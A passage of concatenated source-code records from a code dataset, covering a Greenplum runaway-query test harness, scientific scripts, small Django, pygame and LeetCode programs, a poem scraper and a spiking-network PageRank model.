runaway_detector_activation_percent',\n 'source $GPHOME/greenplum_path.sh;gpconfig -c runaway_detector_activation_percent -v %d --skipvalidation' % activationPercent).run(validateAfter=True)\n\n # Restart DB\n Command('Restart database for GUCs to take effect', \n 'source $GPHOME/greenplum_path.sh && gpstop -air').run(validateAfter=True)\n\ndef _reset_VLIM_SLIM_REDZONEPERCENT():\n\n # Reset GUCs for VLIM (gp_vmem_protect_limit), SLIM (gp_vmem_limit_per_query) and RQT activation percent (runaway_detector_activation_percent)\n tinctest.logger.info('Resetting GUCs for VLIM gp_vmem_protect_limit, SLIM gp_vmem_limit_per_query, and RQT activation percent runaway_detector_activation_percent')\n Command('Run gpconfig to reset GUC gp_vmem_protect_limit',\n 'source $GPHOME/greenplum_path.sh;gpconfig -c gp_vmem_protect_limit -v 8192').run(validateAfter=True)\n Command('Run gpconfig to reset GUC gp_vmem_limit_per_query',\n 'source $GPHOME/greenplum_path.sh;gpconfig -r gp_vmem_limit_per_query --skipvalidation').run(validateAfter=True)\n Command('Run gpconfig to reset GUC runaway_detector_activation_percent',\n 'source $GPHOME/greenplum_path.sh;gpconfig -r runaway_detector_activation_percent --skipvalidation').run(validateAfter=True)\n # Restart DB\n Command('Restart database for GUCs to take effect', \n 'source $GPHOME/greenplum_path.sh && gpstop -air').run(validateAfter=True)\n\nclass RQTBaseScenarioTestCase(ScenarioTestCase):\n \n def _infer_metadata(self):\n \"\"\"\n Adding two new metadata \n 1. concurrency specify the number of concurrent sessions\n 2. rqt_sql_test_case specify the class path of SQLTestCase that will be used for this scenario testcase\n \"\"\"\n super(RQTBaseScenarioTestCase, self)._infer_metadata()\n try:\n self.concurrency = int(self._metadata.get('concurrency', '10'))\n self.rqt_sql_test_case = self._metadata.get('rqt_sql_test_case', 'resource_management.runaway_query.runaway_query_scenario.RQTBaseSQLTestCase')\n except:\n raise\n \n def test_run(self):\n # setup\n test_case_setup = []\n test_case_setup.append('%s.test_setup'%(self.rqt_sql_test_case))\n self.test_case_scenario.append(test_case_setup)\n \n # run testcase\n test_case_run = []\n for count in range(self.concurrency):\n test_case_run.append('%s.test_run'%(self.rqt_sql_test_case))\n self.test_case_scenario.append(test_case_run)\n \n # teardown\n test_case_teardown = []\n test_case_teardown.append('%s.test_teardown'%(self.rqt_sql_test_case))\n self.test_case_scenario.append(test_case_teardown)\n\nclass RQTBaseSQLTestCase(SQLTestCase):\n \"\"\"\n RQTBaseSQLTestCase is used in RQTBaseScenarioTestCase for specifying how we iteratively\n run sql files for one session\n \"\"\"\n\n sql_dir = 'sql/'\n out_dir = 'output/'\n \n def _infer_metadata(self):\n \"\"\"\n We introduce four new metadata \n 1. vlimMB specify vmem protect limit\n 2. slimMB specify vmem limit per query\n 3. redzone specify red zone detection percentage range from 0 ~ 100\n 4. iterations specify how many iterations we will run \n \"\"\"\n super(RQTBaseSQLTestCase, self)._infer_metadata()\n try:\n self.vlimMB = int(self._metadata.get('vlimMB', '8192')) # Default is 8192\n self.slimMB = int(self._metadata.get('slimMB', '0')) # Default is 0\n self.redzone_percent = int(self._metadata.get('redzone', '80')) # Default is 80\n self.iterations = int(self._metadata.get('iterations', '10')) # Default is 10\n except:\n raise\n \n def test_setup(self):\n \"\"\"\n global setup function for the testcase \n The default one will setup the vlimMB, slimMB and runaway_detector_activation_percent\n Overwirte it if you need to add more setup such as creating new tables and loading new data\n \"\"\"\n _set_VLIM_SLIM_REDZONEPERCENT(self.vlimMB, self.slimMB, self.redzone_percent)\n self.__cleanup_out_dir()\n \n def get_next_sql(self, sql_files, iteration_count):\n \"\"\"\n Pick the next sql file to run in this session\n By default we use random algorithm\n Rewrite this function to support others\n @arg sql_files list of sql files detected in the sql_dir\n @arg iteration_count count of the current iteration \n \"\"\"\n return sql_files[random.randint(0, len(sql_files) - 1)]\n \n def test_run(self):\n \"\"\"\n For each iteration, pick a sql file and run. \n \"\"\"\n sql_files = os.listdir(self.get_sql_dir())\n for iter in range(1, self.iterations+1):\n sql_file = self.get_next_sql(sql_files, iter)\n current_timestamp = datetime.datetime.now().strftime('%Y-%m-%d-%H-%M-%S-%f')\n run_sql_file = os.path.join(self.get_out_dir(), '%s-iter%s-%s'%(current_timestamp, iter, sql_file))\n shutil.copyfile(os.path.join(self.get_sql_dir(),sql_file), run_sql_file)\n run_out_file = run_sql_file.replace('.sql','.out')\n run_sql_cmd = 'psql -d %s -a -f %s &> %s'%(self.db_name, run_sql_file, run_out_file)\n Command('Run Sql File', run_sql_cmd).run(validateAfter=True) \n end_timestamp = datetime.datetime.now().strftime('%Y-%m-%d-%H-%M-%S-%f')\n with open(run_out_file, 'a') as o:\n o.write('\\nFINISH_TIME:%s'%end_timestamp)\n \n def __cleanup_out_dir(self):\n \"\"\"\n Remove existing ans and sql files in out dir to avoid wrong results\n \"\"\"\n for ff in os.listdir(self.get_out_dir()):\n if ff.endswith('.sql') or ff.endswith('.out') or ff.endswith('.txt'):\n os.remove(os.path.join(self.get_out_dir(), ff))\n \n def __summary_result(self):\n \"\"\"\n Summarize the concurrency test into runtime.txt file \n \"\"\"\n \n test_fail = False\n timeline = {}\n for ff in os.listdir(self.get_out_dir()):\n if ff.endswith('.out'):\n query_name = ff[ff.index('iter'):ff.index('.')]\n temp_line = ff[:ff.index('-iter')]\n start_time = temp_line[:temp_line.rindex('-')]\n self.__update_result(timeline, start_time, query_name, 0)\n \n lines = [line.strip() for line in open(os.path.join(self.get_out_dir(), ff))]\n b_error = False\n error_reason = ''\n finish_time = ''\n for line in lines:\n if line.find('ERROR') != -1:\n b_error = True\n if line.find('Out of memory') != -1:\n error_reason = 'OOM'\n test_fail = True\n elif line.find('red zone') != -1:\n error_reason = 'Hit red zone'\n elif line.find('current transaction is aborted') != -1:\n continue\n else:\n error_reason = 'Unexpected'\n test_fail = True\n elif line.find('FINISH_TIME') != -1:\n finish_time = line[line.index(':')+1:line.rindex('-')]\n if b_error:\n self.__update_result(timeline, finish_time, '%s (%s)'%(query_name, error_reason), 2)\n else:\n self.__update_result(timeline, finish_time, query_name, 1)\n result = ''\n \n arr_timeline = []\n arr_timeline.extend(timeline.keys())\n arr_timeline.sort()\n \n result += self.__print_timeline(arr_timeline[0], timeline[arr_timeline[0]])\n for i in range(1, len(arr_timeline)):\n cur_time = arr_timeline[i]\n result +='|\\n|\\n'\n result += self.__print_timeline(cur_time, timeline[cur_time])\n \n with open(os.path.join(self.get_out_dir(),'runtime.txt'), 'w') as o:\n o.write(result)\n if test_fail:\n raise Exception(\"Test failed: error reason %s\" % error_reason)\n \n \n def __print_timeline(self, timestamp, bullet):\n result = 'Time:%s\\n'%timestamp\n if len(bullet['query_start']) != 0:\n result+= 'Query started (%s):%s\\n'%(len(bullet['query_start']), ','.join(bullet['query_start']))\n if len(bullet['query_finish']) != 0:\n result+= 'Query finished (%s):%s\\n'%(len(bullet['query_finish']), ','.join(bullet['query_finish']))\n if len(bullet['query_error']) != 0:\n result+= 'Query errored (%s):%s\\n'%(len(bullet['query_error']), ','.join(bullet['query_error']))\n return result\n\n def test_teardown(self):\n self.__summary_result()\n _reset_VLIM_SLIM_REDZONEPERCENT()\n \n def __update_result(self, dict_timeline, timestamp, query_name, update_type):\n if timestamp not in dict_timeline.keys():\n dict_timeline[timestamp] = {}\n dict_timeline[timestamp]['query_start'] = []\n dict_timeline[timestamp]['query_finish'] = []\n dict_timeline[timestamp]['query_error'] = []\n \n if update_type == 0:\n dict_timeline[timestamp]['query_start'].append(query_name)\n elif update_type == 1:\n dict_timeline[timestamp]['query_finish'].append(query_name)\n elif update_type == 2:\n dict_timeline[timestamp]['query_error'].append(query_name)\n else:\n raise Exception(\"Invalid update type: %d\" % update_type)\n","sub_path":"src/test/tinc/tincrepo/resource_management/runaway_query/runaway_query_scenario/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":10804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"518370574","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport scipy as sp\nimport numpy as np\nimport pylab as pl\nimport pdb\nfrom numpy import fft\n\nFRAQHA = 10# 5-> 1/5 frequencies\n\n# extrapoFourier extends a certain sequence using the first 20 % lowest frequency harmonics\n\ndef extrapoFourier(x, n_extend,cutoff=0.2):\n #x = x[-12:]\n n = x.size\n # Fraction of harmonics (1/5 = 20 % of low freqs)\n fraqha = int(1/cutoff)\n # Number of discrete frequencies to consider\n n_ha = n / fraqha\n # original time range\n t = np.arange(0, n)\n # linear regression\n p = np.polyfit(t, x, 1)\n # removing linear trend\n x_nolin = x - p[0] * t\n # fft ....\n x_freq = fft.fft(x_nolin)\n # equivalent freq values\n f = fft.fftfreq(n)\n # orders equivalent frequencies\n indexes = range(n)\n indexes.sort(key=lambda i: np.absolute(f[i]))\n # extends time range\n t = np.arange(0, n+n_extend)\n # initializes final sequence\n extrap = np.zeros(t.size)\n # adds the relevant harmonics, we take one harmonic every two because the cosine incorporates the two complex frequencies\n for i in indexes[:1 + n_ha * 2]:\n ampli = np.absolute(x_freq[i]) / n\n phase = np.angle(x_freq[i])\n extrap += ampli * np.cos(2 * np.pi * f[i] * t + phase)\n # adds linear trend\n fullextrap = extrap + p[0] * t\n # filter for fixing value at t=0\n #filt = np.exp(-abs(t * 1.0 / fraqha))\n #constant = np.ones(t.size) * (x[0] - fullextrap[n_extend])\n #dif = np.multiply(constant, filt)\n # returns modified interpolated sequence\n return fullextrap #+ dif\n\n\n# fill_nan interpolates nan values using one dimensional linear interpolation\n\ndef fill_nan(A):\n inds = np.arange(A.shape[0])\n good = np.where(np.isfinite(A))\n #pdb.set_trace()\n f = np.interp(inds, inds[good], A[good])\n return f\n\n\ndef main():\n # test sequence\n x = np.array([3,4,5,1,2,4,2,5,2,4,np.nan,13,5,6,12,10,6,12,2,3,4,np.nan,1,2,3,4,10,2,1,4,2])\n # removes nans\n x = fill_nan(x)\n # extends 20 %\n n_extend = x.size / 2\n # extends positive times\n t = np.arange(0,x.size+n_extend)\n # extrapolates\n extrapolation = extrapoFourier(x, n_extend)\n # shows the plot\n pl.plot(t, extrapolation, 'r')\n pl.plot(np.arange(0, x.size), x, 'b')\n pl.show()\n\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"fourier.py","file_name":"fourier.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"442502135","text":"from app.models import Menu, Order, Restaurant\nfrom django.contrib import admin\nfrom .models import *\n# Register your models here.\n\nclass MenuAdmin(admin.ModelAdmin):\n list_display = ['id','restaurant_name','items','price']\n filter = ['restaurant_name','items']\n\n\nclass RestaurantAdmin(admin.ModelAdmin):\n list_display = ['id','name','contact','address']\n\nclass OrderAdmin(admin.ModelAdmin):\n list_display = ['user_name', 'user_contact', 'user_email', 'user_address', 'item_name','restaurant_name']\n \n\nadmin.site.register(Restaurant,RestaurantAdmin)\nadmin.site.register(Menu,MenuAdmin)\nadmin.site.register(Order,OrderAdmin)\nadmin.site.register(User)","sub_path":"app/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"141001602","text":"class TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution(object):\n def isBalanced(self, root):\n if root is None:\n return True\n if self.getDepth(root) == False:\n return False\n return True\n\n def getDepth(self, node):\n if node is None:\n return 1\n ld = self.getDepth(node.left)\n if ld < 0:\n return -1\n rd = self.getDepth(node.right)\n if rd < 0:\n return -1\n # 任一节点下,左右子数深度相差超过1,不是平衡树\n elif abs(ld - rd) > 1:\n return False\n else:\n return max(ld, rd) + 1\n\n\nn1 = TreeNode(3)\nn2 = TreeNode(9)\nn3 = TreeNode(20)\nn4 = TreeNode(15)\nn5 = TreeNode(17)\n\nn1.left = n2\nn1.right = n3\n\nn3.left = n4\nn3.right = n5\n\nprint(Solution().isBalanced(n1))\n","sub_path":"easyleetcode/leetcodes/Leetcode_110_Balanced_Binary_Tree.py","file_name":"Leetcode_110_Balanced_Binary_Tree.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"161048807","text":"import requests\nimport json\n\naccess_jwt = requests.post(\n \"https://backend.rev-amp.tech/api/v1/login/access-token\",\n data={\"username\": \"test@rev-amp.tech\", \"password\": \"INSERT-PASSWORD-HERE\"},\n).json()[\"access_token\"]\n\nterms = requests.get(\n \"https://backend.rev-amp.tech/api/v1/terms/\",\n headers={\"Authorization\": f\"Bearer {access_jwt}\"},\n).json()\n\ncourses = (\n (\"Cloud Computing\", \"CSP42B\"),\n (\"High Performance Computing\", \"CS324\"),\n (\"Web Technology\", \"CS325\"),\n (\"Database Management System\", \"CS312\"),\n (\"Indian Tradition, Culture and Heritage\", \"WPC5\"),\n)\nfor term in terms:\n if term[\"year\"][\"school\"][\"id\"] != \"38b357f2-71ef-49de-986e-6f2d2c1f1d02\":\n continue\n for name, code in courses:\n response = requests.post(\n \"https://backend.rev-amp.tech/api/v1/courses/\",\n json={\n \"name\": name,\n \"course_code\": code,\n \"term_id\": term[\"id\"],\n },\n headers={\"Authorization\": f\"Bearer {access_jwt}\"},\n )\n print(response.json(), response.status_code)\n","sub_path":"create-revamp-courses.py","file_name":"create-revamp-courses.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"36709987","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\n\r\n\r\n#f = open('тютчев гроза.txt', 'r') #ямб - ямб\r\n#f = open('Памятник.txt', 'r') #ямб - дактиль\r\n#f = open('блок.txt', 'r') #ямб - анапест\r\n#f = open('Page1.txt', 'r') #ямб - ямб\r\n#f = open('пушкин змний вечер.txt', 'r') #хорей - хорей\r\n#f = open('лермонтов.txt', 'r') #амфибрахий - амфибрахий\r\nf = open('блок к музе.txt', 'r') #анапест - анапест\r\n\r\n\r\npage_text1 = requests.get('http://lib.ru/LITRA/PUSHKIN/p2.txt')\r\npage_text4 = requests.get('http://lib.ru/POEZIQ/ASADOW/jumbo.txt') #асадов - парсит\r\npage_text5 = requests.get('http://lib.ru/POEZIQ/ASADOW/ostrow.txt')\r\npage_text6 = requests.get('http://lib.ru/POEZIQ/AWERINCEW/stihi.txt')\r\npage_text7 = requests.get('http://lib.ru/SHAKESPEARE/shks_sonnets66_1.txt') #шекспир - парсит\r\npage_text8 = requests.get('http://lib.ru/POEZIQ/NADSON/utro.txt') #Надсон - парсит\r\n\r\n\r\npage_text2 = requests.get('http://lib.ru/INOFANT/BRADBURY/summer.txt')\r\npage_text3 = requests.get('http://lib.ru/INPROZ/OGENRI/stihi.txt')\r\n\r\nsoup = BeautifulSoup(page_text8.text, \"html.parser\")\r\n\r\ntext = soup.select('pre')[1]\r\ntext = text.get_text()\r\n#text.pre.decompose()\r\n#print(text.get_text())\r\n#print(text.get_text())\r\n\r\nstih = text[text.rfind('---')+3:len(text)]\r\n\r\nstih = stih.replace(\"\\n\\n\", \"\\n\")\r\nsmas = stih.split(\"\\n\")\r\n#print(smas[3])\r\nstih = \"\"\r\n\r\ni = 0\r\nnumstr = 0\r\nwhile i < len(smas):\r\n #print(stih.count(\"\\n\"))\r\n #stih2 = stih[numstr:stih.find(\"\\n\")]\r\n #numstr = stih.find(\"\\n\", numstr) + 1\r\n if (smas[i] != \"\") and (not smas[i].isdigit()) and (smas[i].find(\"Популярность: \") == -1):\r\n #print(smas[i])\r\n stih = stih + smas[i] + \"\\n\"\r\n #if smas[i].isdigit():\r\n # break\r\n #stih = stih.replace(stih[0:stih.find(\"\\n\")], \"\")\r\n i = i + 1\r\n\r\n#stih = f.read()\r\n","sub_path":"lab1/parserP.py","file_name":"parserP.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"460306996","text":"# -*- coding: utf-8 -*-\nfrom obspy.taup import TauPyModel\nimport pandas as pd\nfrom scipy.interpolate import interp1d\nimport numpy as np\nfrom obspy.geodetics import gps2dist_azimuth\nfrom acc.stack import pws_stack\nfrom obspy import Stream\n\nimport os\nimport glob\nfrom tqdm import tqdm\nfrom functools import partial\nfrom multiprocessing import Pool\nimport multiprocessing\n\nfrom acc.io import _load_json\nimport logging\nfrom obspy import read\n\n# standalone version\n# this function is supposed to be modified to parallel version.\ndef mig_one_station(stream, model=\"ak135\", earth_radius=6378137.0, depth_range=(0, 300, 1)):\n\n try:\n # prior to the model used to calculate traveltime\n model = stream[0].stats.model\n except AttributeError:\n model = model\n\n taup_model = TauPyModel(model=model)\n for tr in stream:\n evdp = tr.stats.event_depth\n evla = tr.stats.event_latitude\n evlo = tr.stats.event_longitude\n\n stla = tr.stats.station_latitude\n stlo = tr.stats.station_longitude\n phase = tr.stats.phase\n\n # tr.filter(type=\"bandpass\", freqmin=0.05, freqmax=0.5, zerophase=True)\n\n arrivals = taup_model.get_ray_paths_geo(source_depth_in_km=evdp,\n source_latitude_in_deg=evla, source_longitude_in_deg=evlo,\n receiver_latitude_in_deg=stla, receiver_longitude_in_deg=stlo,\n phase_list=(phase,), resample=True)\n\n arr = arrivals[0]\n # raypath coordinates. The dataframe contains six columns, ray_p, traveltime, dist in rad, depth, lat and lon.\n df = pd.DataFrame(arr.path)\n\n # one-way reflection time\n time = tr.times() / 2\n data = tr.data\n\n # ray path information: traveltime, depth, and coordinates\n # reverse time: the maximum traveltime minus traveltime at varied depths or points\n df[\"time_reverse\"] = df[\"time\"].iloc[-1] - df[\"time\"]\n # get sub-dataset with traveltime (ray path) slightly longer than the one-way reflected traveltime from acc\n # for convenience of interpolation\n df2 = df[df[\"time_reverse\"] < time[-1] * 1.2]\n\n # convert the raypath information from dataframe to numpy array\n ttime = df[\"time_reverse\"].to_numpy()\n depth = df[\"depth\"].to_numpy()\n lat = df[\"lat\"].to_numpy()\n lon = df[\"lon\"].to_numpy()\n\n # simple migration by back projection\n fdepth = interp1d(ttime, depth)\n flat = interp1d(ttime, lat)\n flon = interp1d(ttime, lon)\n\n # interpolation fitting in with one-way reflection time to accomplish back projection\n depths = fdepth(time)\n lats = flat(time)\n lons = flon(time)\n\n # calculate the distances from pierce points to station at different depths\n # or varied radius\n dists = np.zeros_like(depths)\n for i, d in enumerate(depths):\n dists[i], az, baz = gps2dist_azimuth(lat1=tr.stats.station_latitude, lon1=tr.stats.station_longitude,\n lat2=lats[i], lon2=lons[i], a=earth_radius-d)\n # convert the unit from m to km. If the piere point is to the south of the station then distance is negative.\n if lats[i] <= tr.stats.station_latitude:\n dists[i] = -dists[i]\n dists /= 1000\n\n # the following several lines can be commented. This was firstly written to save data with\n # irregular depth sampling intervals.\n mig1sta = pd.DataFrame(columns=[\"time\", \"depth\", \"dist\", \"lat\", \"lon\", \"data\"])\n mig1sta[\"depth\"] = depths\n mig1sta[\"lat\"] = lats\n mig1sta[\"lon\"] = lons\n mig1sta[\"time\"] = time\n tr.normalize()\n mig1sta[\"data\"] = tr.data\n mig1sta[\"dist\"] = dists\n\n # second interpolation to regular depth grid. after back-projection the depth sampling is irregular.\n # depth range 0-300 km with an interval of 0.5 km.\n delta = depth_range[2]\n d = np.arange(depth_range[0], depth_range[1]+delta, delta)\n tr.stats.delta = delta\n ftime = interp1d(depths, time)\n fdist = interp1d(depths, dists)\n flat = interp1d(depths, lats)\n flon = interp1d(depths, lons)\n fdata = interp1d(depths, tr.data)\n\n time = ftime(d)\n dists = fdist(d)\n lats = flat(d)\n lons = flon(d)\n tr.data = fdata(d)\n depths = np.copy(d)\n\n mig1sta = pd.DataFrame(columns=[\"time\", \"depth\", \"dist\", \"lat\", \"lon\", \"data\"])\n mig1sta[\"depth\"] = depths\n mig1sta[\"lat\"] = lats\n mig1sta[\"lon\"] = lons\n mig1sta[\"time\"] = time\n tr.normalize()\n mig1sta[\"data\"] = tr.data\n mig1sta[\"dist\"] = dists\n\n header = {\"path\": df2, \"mig\":mig1sta}\n tr.stats.update(header)\n\n return stream\n\n\ndef _mig_1(path, model=\"ak135\"):\n # read autocorrelograms of a given station saved in `path`\n st = read(path + \"/*pkl\")\n st_mig = mig_one_station(stream=st, model=model, earth_radius=6378137.0)\n\n return st_mig\n\n\ndef migration_1station(jsonfile):\n\n kwargs = _load_json(jsonfile)\n io = kwargs[\"io\"]\n\n njobs = kwargs[\"njobs\"]\n if njobs > multiprocessing.cpu_count():\n njobs = multiprocessing.cpu_count()\n\n # datapath containing auto-correlograms\n path = io[\"outpath\"] + \"/1_results\"\n temp = glob.glob(path + \"/*\")\n stations = []\n for t in temp:\n if os.path.isdir(t):\n stations.append(t)\n\n model = kwargs[\"migration\"][\"model\"]\n if model is None:\n model = kwargs[\"tt_model\"]\n\n do_work = partial(_mig_1, model=model)\n\n st_mig_stations = []\n if njobs == 1:\n logging.info('do work sequential (%d cores)', njobs)\n for sta in tqdm(stations, total=len(stations)):\n st = do_work(sta)\n st_mig_stations.append(st)\n else:\n logging.debug('do work parallel (%d cores)', njobs)\n pool = multiprocessing.Pool(njobs)\n for st in tqdm(pool.imap_unordered(do_work, stations), total=len(stations)):\n st_mig_stations.append(st)\n pool.close()\n pool.join()\n\n # save data into disk\n outpath = io[\"outpath\"] + \"/migration_1station\"\n # if not os.path.exists(outpath):\n try:\n os.makedirs(outpath)\n except:\n pass\n for st in st_mig_stations:\n # station id\n tr = st[0]\n if tr.stats.location == \"\":\n station_id = \".\".join([tr.stats.network, tr.stats.station])\n else:\n station_id = \".\".join([tr.stats.network, tr.stats.station, tr.stats.location])\n fn = outpath + \"/\" + station_id + \".pkl\"\n st.write(fn, format=\"PICKLE\")\n\n\ndef migration_one_station_stack(stream, method=\"PWS\", power=2, time_range=[8, 16], coeff=0.5):\n \"\"\"\n Stacking of migrated traces for one station. Currently not used.\n\n :param stream:\n :param method: \"PWS\" for phase-weighted stacking and \"linear\" for linear stacking\n :param power: used by \"PWS\" only. power=0 is linear stacking\n :param time_range: if None do simple stacking (PWS or linear). if a list contains two elements then\n it will select traces with high resemblance with the initial stacking to get final stacked trace.\n :param coeff: traces with correlation efficient higher than the value will be selected.\n :return: trace after stacking\n\n .. Note::\n The one more procedure is to improve signal-to-noise ratio. You may check the stats header `corrstack`.\n If the key equals zero, the stacking is the general ones, otherwise the correlated stacking are implemented.\n The value denotes the number of stacked traces.\n \"\"\"\n # first initial stacking and find similar traces for final stacking.\n tr_stk = pws_stack(stream, power=power, normalize=True)\n\n h = {\"corrstack\": 0}\n tr_stk.stats.update(h)\n\n if time_range is None:\n return tr_stk\n\n delta = tr_stk.stats.delta\n i1 = int(time_range[0] / delta)\n i2 = int(time_range[1] / delta)\n\n data1 = np.copy(tr_stk.data[i1:i2])\n\n traces = []\n for tr in stream:\n data2 = np.copy(tr.data[i1:i2])\n c = np.corrcoef(data1, data2)\n if c[1][0] >= coeff:\n traces.append(tr)\n\n if len(traces) < 1:\n return tr_stk\n\n # final stacking with high coherence\n st2 = Stream(traces=traces)\n tr_stk = pws_stack(st2, power=power, normalize=True)\n h = {\"corrstack\": len(traces)}\n tr_stk.stats.update(h)\n\n return tr_stk\n\n\n\n\n\n","sub_path":"acc/migration.py","file_name":"migration.py","file_ext":"py","file_size_in_byte":8577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"601581230","text":"#step1\nimport pygame\nfrom pathlib import Path\n#step2\npygame.init()\npygame.mixer.init()\npygame.display.set_caption(\"Bouncing Ball\")\n#step3\nwindowWidth = 800\nwindowHeight = 600\nwindowSize = (windowWidth, windowHeight)\nscreen = pygame.display.set_mode(windowSize)\n\n#step4\nmyImage = pygame.image.load(\"C:\\\\Users\\\\wolf_\\\\Documents\\\\gitrepo\\\\codingforkids\\\\Resources\\\\Images\\\\OneTargetLogo.png\")\nimageSize = myImage.get_size()\nimagewidth = imageSize[0]\nimageHeight = imageSize[1]\nscreen = pygame.display.set_mode(windowSize)\n\n\n#step5\nx, y = 0, 0\n #step7\nclock = pygame.time.Clock()\n\nmySound = pygame.mixer.Sound(\"C:\\\\Users\\\\wolf_\\\\Documents\\\\gitrepo\\\\codingforkids\\\\Resources\\\\Sounds\\\\collisionSound.wav\")\n\ntextMovingDirections = 9\ntextMovingDirection = 9\n\n #step8\nallowQuit = False\nwhile allowQuit == False:\n keys = pygame.key.get_pressed()\n clock.tick(30)\n screen.fill((67,12,198))\n if keys[pygame.K_RIGHT]:\n x+=50\n if keys[pygame.K_LEFT]:\n x-=50\n if keys[pygame.K_DOWN]:\n y+=50\n if keys[pygame.K_UP]:\n y-=50\n\n\n\n\n \n if x + imagewidth > windowWidth:\n x = windowWidth - imagewidth\n mySound.stop()\n mySound.play()\n \n if y + imageHeight > windowHeight:\n y = windowHeight - imageHeight\n mySound.stop()\n mySound.play()\n\n screen.blit(myImage, (x, y))\n pygame.display.update()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n allowQuit = True\n\n\n\n \n #step9\nprint('closed window')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n#\n#\n#\n# ","sub_path":"rq/ballgames/ballgame8.py","file_name":"ballgame8.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"517051382","text":"# 1명을 제외하고, 모든 선수가 마라톤을 완주하였다.\n\n# participant에는 참여 선수의 이름들이 있다.\n# completion에는 완주한 이름이 들어있다.\n# 동명이인이 있을 수 있다.\n\n# 이때, 완주하지 못한 선수의 이름을 return\n\nparticipant = [\"leo\", \"kiki\", \"eden\"]\ncompletion = [\"eden\", \"kiki\"]\n\ndef solution(participant, completion):\n hashDict = {}\n sumHash = 0\n\n for runner in participant:\n hashDict[hash(runner)] = runner\n sumHash += hash(runner)\n\n for complet in completion:\n sumHash -= hash(complet)\n\n return hashDict[sumHash]\n\nprint(solution(participant, completion))","sub_path":"프로그래머스/Level1/완주하지못한선수.py","file_name":"완주하지못한선수.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"205259823","text":"import os # NOQA: E402\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0,1,2,3\" # NOQA: E402\nfrom LIFLSTM import LIF_LSTM_MLP,LIF_LSTM_CNN,LIF_GRU_CNN,LIF_RNN_CNN\n\nimport sys\n\n\nclass Logger(object):\n def __init__(self, fileN=\"Default.log\"):\n self.terminal = sys.stdout\n self.log = open(fileN, \"w\")\n\n def write(self, message):\n self.terminal.write(message)\n self.log.write(message)\n\n def flush(self):\n pass\n\n\nlogPath = os.path.dirname(os.path.abspath(__file__)) + os.sep + 'log'\nif not os.path.exists(logPath):\n os.makedirs(logPath)\nsys.stdout = Logger(logPath + os.sep + \"log_gesture_MLP_LSTM_test_ghh.txt\")\n\n\ndef main():\n # print(2)\n # LIF_GRU.main()\n LIF_LSTM_MLP.main()\n # LIF_LSTM_CNN.main()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"code/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"69296343","text":"# main interface to use the spynnaker related tools.\n# ALL MODELS MUST INHERIT FROM THIS\nfrom spynnaker.pyNN.models.neuron import AbstractPopulationVertex\nfrom spynnaker8.utilities import DataHolder\nfrom python_models8.neuron.builds.model_page_rank import PageRankBase\n\n\nclass PageRankDataHolder(DataHolder):\n def __init__(\n self,\n\n # AbstractPopulationVertex\n spikes_per_second=(\n AbstractPopulationVertex.none_pynn_default_parameters['spikes_per_second']),\n ring_buffer_sigma=(\n AbstractPopulationVertex.none_pynn_default_parameters['ring_buffer_sigma']),\n incoming_spike_buffer_size=(\n AbstractPopulationVertex.none_pynn_default_parameters[\n 'incoming_spike_buffer_size']),\n constraints=AbstractPopulationVertex.none_pynn_default_parameters['constraints'],\n label=AbstractPopulationVertex.none_pynn_default_parameters['label'],\n\n # PageRankBase\n damping_factor=PageRankBase.default_parameters['damping_factor'],\n damping_sum=PageRankBase.default_parameters['damping_sum'],\n incoming_edges_count=PageRankBase.default_parameters['incoming_edges_count'],\n outgoing_edges_count=PageRankBase.default_parameters['outgoing_edges_count'],\n rank_init=PageRankBase.none_pynn_default_parameters['rank_init'],\n curr_rank_acc_init=PageRankBase.none_pynn_default_parameters['curr_rank_acc_init'],\n curr_rank_count_init=PageRankBase.none_pynn_default_parameters['curr_rank_count_init'],\n iter_state_init=PageRankBase.none_pynn_default_parameters['iter_state_init']):\n DataHolder.__init__(\n self, {\n 'spikes_per_second': spikes_per_second,\n 'ring_buffer_sigma': ring_buffer_sigma,\n 'incoming_spike_buffer_size': incoming_spike_buffer_size,\n 'constraints': constraints,\n 'label': label,\n 'damping_factor': damping_factor,\n 'damping_sum': damping_sum,\n 'incoming_edges_count': incoming_edges_count,\n 'outgoing_edges_count': outgoing_edges_count,\n 'rank_init': rank_init,\n 'curr_rank_acc_init': curr_rank_acc_init,\n 'curr_rank_count_init': curr_rank_count_init,\n 'iter_state_init': iter_state_init,\n }\n )\n\n @staticmethod\n def build_model():\n return PageRankBase\n","sub_path":"python_models8/model_data_holders/page_rank_data_holder.py","file_name":"page_rank_data_holder.py","file_ext":"py","file_size_in_byte":2549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
